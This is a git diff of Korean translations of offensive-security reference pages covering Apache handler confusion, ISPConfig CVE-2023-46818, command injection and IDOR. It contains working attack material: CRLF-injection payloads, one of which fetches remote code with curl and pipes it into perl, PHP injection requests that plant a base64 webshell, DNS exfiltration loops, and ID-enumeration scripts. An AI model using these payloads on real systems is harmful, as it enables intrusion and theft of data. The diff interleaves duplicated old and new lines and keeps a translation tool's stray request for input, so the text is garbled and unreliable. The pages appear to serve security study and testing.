- **MagpieRSS**의 **magpie_debug.php** (경로: **/usr/share/php/magpierss/scripts/magpie_debug.php**)를 이용하면 쉽게 SSRF 취약점을 만들 수 있으며, 이를 통해 추가적인 익스플로잇으로 이어질 수 있습니다.
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
**Local Gadget to RCE**
- Remote Code Execution (RCE) 기회는 광범위하며, 오래된 **PHPUnit**이나 **phpLiteAdmin**와 같은 취약한 설치를 통해 임의 코드를 실행할 수 있습니다. 이는 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다.
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
#### **Jailbreak from Local Gadgets**
허용된 폴더에서 설치된 소프트웨어가 생성한 심볼릭 링크를 따라가면 jailbreak하는 것도 가능합니다. 예:
허용된 폴더에서 설치된 소프트웨어가 생성한 심볼릭 링크를 따라가면 jailbreak하는 것도 가능합니다. 예를 들면:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -186,18 +211,18 @@ Require all granted
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
또한, 심볼릭 링크를 악용하여 Redmine에서 **RCE**를 얻는 것이 가능했습니다.
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
이 공격은 `AddHandler``AddType` 디렉티브 사이의 기능 겹침을 악용합니다. 두 디렉티브 모두 **PHP 처리 활성화**에 사용될 수 있습니다. 원래 이 디렉티브들은 서버 내부 구조의 서로 다른 필드(`r->handler``r->content_type`)에 영향을 주었습니다. 하지만 레거시 코드로 인해 특정 조건에서 Apache는 이 디렉티브들을 상호 교환적으로 처리하며, `r->content_type`가 설정되고 `r->handler`가 설정되지 않은 경우 `r->content_type``r->handler`로 변환합니다.
This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
또한 Apache HTTP Server(`server/config.c#L420`)에서는 `ap_run_handler()`를 실행하기 전에 `r->handler`가 비어 있으면 서버가 **r->content_type을 handler로 사용**하므로 `AddType``AddHandler`가 사실상 동일한 효과를 갖게 됩니다.
Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
#### **Overwrite Handler to Disclose PHP Source Code**
[**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)에서는 클라이언트가 잘못된 **Content-Length**를 전송할 경우 Apache가 실수로 **PHP 소스 코드를 반환**할 수 있는 취약점이 발표되었습니다. 이는 ModSecurity와 Apache Portable Runtime(APR)의 오류 처리 문제로 인해 이중 응답이 발생하면서 `r->content_type``text/html`로 덮어써졌기 때문입니다.\
ModSecurity가 리턴 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 이를 해석하지 않습니다.
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
#### **Overwrite Handler to XXXX**
@ -205,36 +230,36 @@ TODO: Orange hasn't disclose this vulnerability yet
### **Invoke Arbitrary Handlers**
공격자가 서버 응답의 **Content-Type** 헤더를 제어할 수 있다면 임의의 모듈 핸들러를 **invoke**할 수 있습니다. 다만 공격자가 이를 제어할 시점에는 요청의 대부분 처리가 이미 수행된 상태일 것입니다. 그러나 **Location** 헤더를 악용해 요청 처리를 재시작하는 것이 가능한데, 반환된 `Status`가 200이고 `Location` 헤더가 `/`로 시작하면 응답은 서버 측 리다이렉션으로 처리되어 재처리됩니다.
If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
RFC 3875(CGI에 대한 명세)에 따르면 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)는 Local Redirect Response 동작을 정의합니다:
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
> The CGI script can return a URI path and query-string (local-pathquery) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
따라서 이 공격을 수행하려면 다음 중 하나의 취약점이 필요합니다:
Therefore, to perform this attack is needed one of the following vulns:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Arbitrary Handler to Information Disclosure**
예를 들어 `/server-status`는 로컬에서만 접근 가능해야 합니다:
For example `/server-status` should only be accessible locally:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
`Content-Type``server-status`로 설정하고 Location 헤더`/`로 시작하게 하면 접근할 수 있습니다.
`Content-Type``server-status`로 설정하고 Location 헤더`/`로 시작하도록 하면 접근할 수 있습니다.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **임의 핸들러에서 Full SSRF로**
#### **임의 핸들러에서 완전한 SSRF로**
`mod_proxy`를 사용해 어떤 URL의 어떤 프로토콜에도 접근하도록 리다이렉트:
모든 URL의 모든 프로토콜에 접근하기 위해 `mod_proxy`로 리디렉션:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -243,11 +268,11 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
하지만, `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 접근하는 것이 방해됩니다.
그러나 `X-Forwarded-For` 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 대한 접근을 차단합니다.
#### **Arbitrary Handler to Access Local Unix Domain Socket**
#### **Arbitrary Handler로 로컬 Unix Domain Socket에 접근하기**
PHP-FPM의 local Unix Domain Socket에 접근하여 `/tmp/`에 있는 PHP backdoor를 실행합니다:
PHP-FPM의 로컬 Unix Domain Socket에 접근하여 `/tmp/`에 위치한 PHP 백도어를 실행합니다:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -256,7 +281,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
```
#### **Arbitrary Handler to RCE**
공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR (`Pearcmd.php`)가 포함되어 있으며, 이는 명령줄 PHP 패키지 관리 도구로서 RCE를 얻기 위해 악용될 수 있습니다:
공식 [PHP Docker](https://hub.docker.com/_/php) 이미지에는 PEAR (`Pearcmd.php`)가 포함되어 있으며, 명령행 PHP 패키지 관리 도구로서 RCE를 획득하기 위해 악용될 수 있습니다:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -265,7 +290,7 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
이 기법의 세부 내용은 작성자 [Phith0n](https://x.com/phithon_xg)이 쓴 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 확인하세요.
자세한 기법의 세부사항은 작성자 [Phith0n](https://x.com/phithon_xg)이 쓴 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)를 확인하세요.
## 참고자료

View File

@ -4,36 +4,36 @@
## 개요
ISPConfig는 오픈 소스 호스팅 컨트롤 패널입니다. 구버전 3.2.x 빌드에는 언어 파일 편집기 기능이 포함되어 있었는데, 이 기능이 슈퍼 관리자에게 활성화되어 있을 경우, 잘못된 번역 레코드를 통해 임의의 PHP code injection이 가능했습니다. 이는 웹 서버 컨텍스트에서 RCE를 초래할 수 있으며, PHP가 어떻게 실행되는지에 따라 privilege escalation으로 이어질 수 있습니다.
ISPConfig는 오픈소스 호스팅 컨트롤 패널입니다. 구버전 3.2.x 빌드는 언어 파일 편집기 기능을 포함하고 있었는데, 이 기능이 슈퍼 관리자(super administrator)에게 활성화된 경우 잘못된 형식의 번역 레코드를 통해 임의의 PHP 코드 주입이 가능했습니다. 이로 인해 웹 서버 컨텍스트에서 RCE가 발생할 수 있으며, PHP가 어떻게 실행되는지에 따라 권한 상승이 일어날 수 있습니다.
Key default paths:
- 웹 루트는 `php -S`서빙되거나 Apache/nginx를 통해 제공되는 경우 종종 `/var/www/ispconfig`에 있습니다.
- 관리자 UI는 HTTP(S) vhost에서 접근 가능(때로는 localhost에만 바인딩되어 있을 수 있음; 필요하면 SSH 포트 포워딩 사용).
주요 기본 경로:
- 웹 루트는 `php -S`제공되거나 Apache/nginx를 통해 서비스될 때 종종 `/var/www/ispconfig`에 위치합니다.
- 관리자 UI는 HTTP(S) vhost에서 접근 가능(때로는 localhost로만 바인딩되어 있을 수 있으므로, 필요하면 SSH 포트 포워딩을 사용하세요).
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
팁: 패널이 로컬에 바인딩되어 있다면(예: `127.0.0.1:8080`), 포워딩하세요:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## 언어 편집기 PHP code injection (CVE-2023-46818)
- 영향받는 버전: ISPConfig up to 3.2.11 (3.2.11p1에서 수정됨)
- 전 조건:
- 내장 superadmin 계정 `admin`으로 로그인 (공급업체에 따르면 다른 역할은 영향 없음)
- 언어 편집기가 활성화되어야 함: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- 영향: 인증된 admin은 임의의 PHP를 주입할 수 있으며, 이는 언어 파일에 기록되어 애플리케이션에 의해 실행되 웹 컨텍스트에서 RCE를 달성할 수 있음
- 영향받는 버전: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- 전 조건:
- 내장 superadmin 계정 `admin`으로 로그인 (벤더에 따르면 다른 역할은 영향 없음)
- 언어 편집기 활성화 필요: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- 영향: 인증된 admin은 언어 파일에 기록되어 애플리케이션에 의해 실행되는 임의의 PHP를 inject하여 웹 컨텍스트에서 RCE를 달성할 수 있음
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### 수동 익스플로잇 흐름
1) CSRF 토큰을 얻기 위해 언어 파일을 열거나 생성
1) 언어 파일을 열거나 생성하여 CSRF 토큰을 얻음
폼을 초기화하기 위해 첫 번째 POST를 전송하고 HTML 응답에서 CSRF 필드(`csrf_id`, `csrf_key`)를 파싱합니다. 예제 요청 경로: `/admin/language_edit.php`.
첫 번째 POST를 보내 폼을 초기화하고 HTML 응답에서 CSRF 필드(`csrf_id`, `csrf_key`)를 파싱합니다. 예시 요청 경로: `/admin/language_edit.php`.
2) records[]를 통해 PHP 주입 후 저장
2) records[]를 통해 PHP를 inject하고 저장
CSRF 필드와 악성 번역 레코드를 포함한 두 번째 POST를 전송합니다. 최소 명령 실행 프로브:
CSRF 필드와 악성 번역 레코드를 포함해 두 번째 POST를 제출합니다. 최소한의 명령 실행 프로브:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
@ -46,40 +46,40 @@ lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php e
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) 파일을 성하고 webshell을 배치
3) 파일을 성하고 webshell을 배치
웹에서 접근 가능한 경로(예: `admin/`)에 파일을 생성하려면 `file_put_contents`를 사용하세요:
`file_put_contents`를 사용하여 웹에서 접근 가능한 경로(예: `admin/`)에 파일을 생성하세요:
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
그런 다음 POST body에서 bad characters를 피하기 위해 base64를 사용해 간단한 webshell을 작성하세요:
그런 다음 POST 본문에서 문제가 되는 문자를 피하기 위해 base64를 사용하여 간단한 webshell을 작성하세요:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
파일 내용을 붙여넣어 주세요. 주신 텍스트를 받아서 마크다운/HTML 태그·링크·경로·코드 등은 그대로 두고 영어 본문만 한국어로 번역해 드리겠습니다.
번역할 파일(src/network-services-pentesting/pentesting-web/ispconfig.md)의 내용을 여기에 붙여 넣어 주세요. 제공해주시면 마크다운/HTML 문법을 그대로 유지하며 영어 본문을 한국어로 번역하겠습니다.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
If PHP가 root로 실행되는 경우(예: root가 시작한 `php -S 127.0.0.1:8080`), 즉시 root RCE를 얻습니다. 그렇지 않으면 웹 서버 사용자로서 코드 실행을 얻게 됩니다.
PHP가 root로 실행되는 경우(예: root로 시작한 `php -S 127.0.0.1:8080`), 즉시 root RCE를 얻습니다. 그렇지 않으면 웹 서버 사용자 권한으로 코드 실행을 얻습니다.
### Python PoC
바로 사용할 수 있는 exploit은 token 처리와 payload 전달을 자동화합니다:
즉시 사용 가능한 exploit는 token 처리와 payload 전달을 자동화합니다:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
예제 실행:
실행:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### 보안 강화
### Hardening
- 3.2.11p1 이상으로 업그레이드
- 언어 편집기는 꼭 필요하지 않다면 비활성화하세요:
```
admin_allow_langedit=no
```
- 패널을 root로 실행하지 마십시오; PHP-FPM 또는 웹 서버가 권한을 낮추도록 구성하십시오
- 내장된 `admin` 계정에 대해 강력한 인증을 적용하십시오
- 패널을 root로 실행하지 마십시오; PHP-FPM 또는 웹 서버가 권한을 낮추도록 구성하세요
- 내장된 `admin` 계정에 대해 강력한 인증을 적용하세요
## 참고자료

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## command Injection이란 무엇입니까?
## command Injection란 무엇인가?
A **command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영 체제 명령을 실행할 수 있게 합니다. 그 결과 애플리케이션과 그에 포함된 모든 데이터가 완전히 침해될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경과 하부 시스템에 대해 무단으로 접근하거나 제어권을 획득하도록 허용합니다.
**command injection**는 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영체제 명령을 실행할 수 있게 한다. 그 결과 애플리케이션과 그에 포함된 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경과 기반 시스템에 대해 무단으로 접근하거나 제어권을 획득하도록 허용한다.
### 컨텍스트
입력이 삽입되는 위치에 따라 명령을 실행하기 전에 **따옴표로 감싸진 컨텍스트를 종료해야** 할 수 있습니다 (예: `"` 또는 `'`).
입력이 **어디에 주입되는지**에 따라, 명령을 실행하기 전에 **인용된 컨텍스트를 종료**해야 할 수 있다(`"` 또는 `'` 사용).
## Command Injection/Execution
```bash
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limition** 우회
### **Limition** Bypasses
만약 당신이 **arbitrary commands inside a linux machine**를 실행하려 한다면, 이 **우회**를 읽어보면 도움이 될 것입니다.
만약 **arbitrary commands inside a linux machine**를 실행하려 한다면, 이 **Bypasses**에 대해 읽어보면 도움이 될 것입니다:
{{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### 매개변수
다음은 code injection 및 유사한 RCE 취약점에 노출될 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Time based data exfiltration
데이터 추출: char 단위로
데이터 추출: 문자 단위로
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -91,7 +91,7 @@ sys 0m0.000s
```
### DNS 기반 data exfiltration
`https://github.com/HoLyVieR/dnsbin`의 도구를 기반으로 하며 dnsbin.zhack.ca에도 호스팅되어 있습니다
다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` — dnsbin.zhack.ca에도 호스팅되어 있음
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS 기반 data exfiltration을 확인하는 온라인 도구:
DNS 기반의 데이터 exfiltration을 확인할 수 있는 온라인 도구:
- dnsbin.zhack.ca
- pingb.in
### Filtering bypass
### 필터링 우회
#### Windows
```
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
JavaScript/TypeScript 백엔드를 감사할 때 종종 Node.js `child_process` API를 마주치게 됩니다.
JavaScript/TypeScript 백엔드를 검토할 때 Node.js `child_process` API를 자주 만나게 됩니다.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()`**shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 갖는 문자들(back-ticks, `;`, `&&`, `|`, `$()`, …)이 사용자 입력이 문자열에 이어 붙여질 때 **command injection**을 초래합니다.
`exec()`**shell** (`/bin/sh -c`)을 실행하므로, shell에 대해 특수한 의미를 갖는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)는 사용자 입력이 문자열에 연결될 때 **command injection**을 초래합니다.
**완화:** `execFile()`(또는 `spawn()``shell` 옵션 없이 사용)하고 **각 인수를 별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 다:
**Mitigation:** `execFile()`(또는 `spawn()``shell` 옵션 없이) 사용하고 **각 인수를 별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 합니다:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 `id_user`에 주입할 수 있었고, 이 값이 이후 `exec()` 호출에 포함되어 RCE를 달성했습니다 (Pwn2Own Ireland 2024).
실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어한 데이터가 `id_user`에 삽입되었고, 이후 `exec()` 호출에 포함되어 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024).
## Brute-Force 탐지 목록
@ -149,7 +149,7 @@ execFile('/usr/bin/do-something', [
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 참고
## 참고자료
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)

View File

@ -2,21 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자가 제어할 수 있는 식별자를 공개하거나 수락하고, 그 식별자를 **직접** 내부 객체에 접근하는 데 사용하면서 요청자가 해당 객체에 접근/수정할 권한이 있는지 **확인하지 않는 경우**에 발생합니다.
성공적인 악용은 보통 다른 사용자의 데이터를 읽거나 수정하는 등의 horizontal 또는 vertical privilege-escalation을 허용하며, 최악의 경우 full account takeover 또는 mass-data exfiltration로 이어질 수 있습니다.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자로 제어 가능한 식별자를 노출하거나 수락하고, 그 식별자를 **직접** 사용하여 호출자가 해당 객체에 접근/수정할 권한이 있는지 **검증하지 않고** 내부 객체에 접근할 때 발생합니다.
성공적인 공격은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 등 수평적 또는 수직적 privilege-escalation을 허용하며, 최악의 경우 전체 계정 탈취(full account takeover) 또는 mass-data exfiltration로 이어질 수 있습니다.
---
## 1. 잠재적 IDORs 식별
## 1. 잠재적 IDOR 식별
1. 객체를 참조하는 **매개변수**를 찾아보세요:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. 데이터(`GET`, `PUT`, `PATCH`, `DELETE`)를 **읽거나 업데이트**하는 엔드포인트를 우선적으로 확인하세요.
3. 식별자가 **연속적이거나 예측 가능**한지 확인하세요 만약 귀하의 ID가 `64185742`라면 `64185741`도 존재할 가능성이 큽니다.
4. 추가 API를 노출할 수 있는 숨겨진 또는 대체 흐름(예: 로그인 페이지의 *"Paradox team members"* 링크)을 탐색하세요.
5. **authenticated low-privilege session**을 사용하고 ID만 변경한 뒤 **같은 token/cookie를 유지**하세요. 권한 오류가 발생하지 않으면 일반적으로 IDOR의 징후입니다.
1. 객체를 참조하는 **파라미터**를 찾습니다:
* 경로: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* 쿼리: `?id=42`, `?invoice=2024-00001`
* 본문 / JSON: `{"user_id": 321, "order_id": 987}`
* 헤더 / 쿠키: `X-Client-ID: 4711`
2. 데이터(**읽기** 또는 **업데이트**)를 하는 엔드포인트(`GET`, `PUT`, `PATCH`, `DELETE`)를 우선적으로 살펴보세요.
3. 식별자가 **연속적이거나 예측 가능**한 경우를 주의하세요 — 예: ID가 `64185742`라면 `64185741`도 존재할 가능성이 높습니다.
4. 숨겨진 또는 대체 흐름(예: 로그인 페이지의 *"Paradox team members"* 링크)을 탐색하여 추가 API가 노출되는지 확인하세요.
5. 권한이 낮은 **인증된 세션**을 사용하고 ID만 변경하되 **같은 토큰/쿠키를 유지**하세요. 권한 오류가 없으면 보통 IDOR의 신호입니다.
### 빠른 수동 변조 (Burp Repeater)
```
@ -27,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### 자동화된 열거 (Burp Intruder / curl loop)
### 자동화된 enumeration (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,59 +36,57 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
### 사용자/파일 열거를 위한 Error-response oracle
### 사용자/파일 열거를 위한 오류 응답 오라클
다운로드 엔드포인트가 username과 filename을 둘 다 받는 경우(예: `/view.php?username=<u>&file=<f>`), 오류 메시지의 미묘한 차이가 종종 오라클을 만들어냅니다:
When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=<u>&file=<f>`), subtle differences in error messages often create an oracle:
- 존재하지 않는 username → "User not found"
- 잘못된 filename이지만 확장자가 유효함 → "File does not exist" (때때로 사용 가능한 파일을 나열하기도 함)
- 잘못된 확장자 → 유효성 검사 오류
- 잘못된 filename이지만 유효한 확장자 → "File does not exist" (때때로 사용 가능한 파일을 나열함)
- 잘못된 확장자 → validation error
인증된 세션이 있으면, 무해한 filename을 고정한 상태에서 username 파라미터를 fuzz하고 "User not found" 문자열을 기준으로 필터링하여 유효한 사용자를 발견할 수 있습니다:
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
유효한 사용자 이름이 확인되면 특정 파일을 직접 요청하십시오(예: `/view.php?username=amanda&file=privacy.odt`). 이러한 패턴은 다른 사용자의 문서 무단 노출 및 credential leakage로 이어지는 경우가 많습니다.
유효한 사용자 이름을 확인한 후 특정 파일을 직접 요청합니다(예: `/view.php?username=amanda&file=privacy.odt`). 이러한 패턴은 일반적으로 다른 사용자의 문서 무단 공개 및 credential leakage로 이어집니다.
---
## 2. Real-World Case Study McHire Chatbot Platform (2025)
## 2. 실제 사례 연구 McHire Chatbot Platform (2025)
Paradox.ai 기반의 **McHire** 채용 포털 평가 중 다음과 같은 IDOR이 발견되었습니다:
Paradox.ai 기반의 **McHire** 채용 포털을 평가하는 동안 다음 IDOR이 발견되었다:
* 엔드포인트: `PUT /api/lead/cem-xhr`
* Authorization: 임의의 레스토랑 테스트 계정의 user session cookie
* 요청 본문 파라미터: `{"lead_id": N}` 8자리, **순차적(sequential)** 숫자 식별자
* Authorization: 모든 레스토랑 테스트 계정에 대한 user session cookie
* 요청 본문 파라미터: `{"lead_id": N}` 8자리, **연속적인** 숫자 식별자
`lead_id` 값을 감소시키자 테스터는 임의의 지원자의 **full PII** (name, e-mail, phone, address, shift preferences)와 session hijacking을 가능하게 하는 소비자 **JWT**를 획득했습니다. 범위 `1 64,185,742`를 열거한 결과 대략 **64 million** 건의 레코드가 노출되었습니다.
`lead_id`를 감소시키자 테스터는 임의의 지원자들의 **full PII**(이름, 이메일, 전화번호, 주소, 근무 선호도)와 session hijacking을 가능하게 하는 소비자 **JWT**를 획득했다. `1 64,185,742` 범위를 열거한 결과 대략 **64 million** 건의 레코드가 노출되었다.
Proof-of-Concept request:
Proof-of-Concept 요청:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
Combined with **기본 관리자 자격증명** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. IDOR / BOLA의 영향
* 수평 권한 상승 다른 **사용자**의 데이터 읽기/수정/삭제.
* 수직 권한 상승 권한 사용자가 관리자 전용 기능 획득.
* 식별자가 연속적일 경우 대규모 데이터 유출(예: applicant IDs, invoices).
* 다른 사용자의 토큰을 탈취하거나 비밀번호를 재설정하여 계정 탈취.
## 3. Impact of IDOR / BOLA
* 수평적 권한 상승 **다른 사용자들의** 데이터 읽기/수정/삭제.
* 수직 권한 상승 권한이 낮은 사용자가 관리자 전용 기능 획득.
* 식별자가 순차적일 경우 대규모 데이터 유출(예: 지원자 ID, 송장).
* 토큰을 훔치거나 다른 사용자의 비밀번호를 재설정하여 계정 탈취.
---
## 4. 완화 및 모범 사례
1. 모든 요청에서 **객체 수준 권한 검증**을 수행 (`user_id == session.user`).
2. 자동 증가 ID 대신 **간접적이고 추측 불가능한 식별자**(UUIDv4, ULID)를 사용.
3. 권한 검증은 항상 **서버 측**에서 수행하고 숨겨진 폼 필드나 UI 제어에 의존하지 말 것.
4. 중앙 미들웨어에서 **RBAC / ABAC** 검사 구현.
5. ID 열거를 탐지하기 위해 **rate-limiting & logging** 추가.
6. 모든 새 엔드포인트에 대해 보안 테스트 수행(단위, 통합, DAST).
## 4. Mitigations & Best Practices
1. **객체 수준 권한 검사(object-level authorization)**를 모든 요청에서 적용 (`user_id == session.user`).
2. 자동 증가 ID 대신 **간접적이고 추측 불가능한 식별자(indirect, unguessable identifiers)** 사용 (UUIDv4, ULID).
3. 권한 검사는 **server-side**에서 수행하고, 숨겨진 폼 필드나 UI 컨트롤에 의존하지 마세요.
4. 중앙 미들웨어에서 **RBAC / ABAC** 검사 구현하세요.
5. ID 열거(enumeration)를 탐지하기 위해 **rate-limiting & logging**을 추가하세요.
6. 모든 새 엔드포인트에 대해 보안 테스트(단위 테스트, 통합 테스트, DAST)를 수행하세요.
---
## 5. Tooling

View File

@ -4,9 +4,9 @@
## CSS Injection
### 속성 선택자
### Attribute Selector
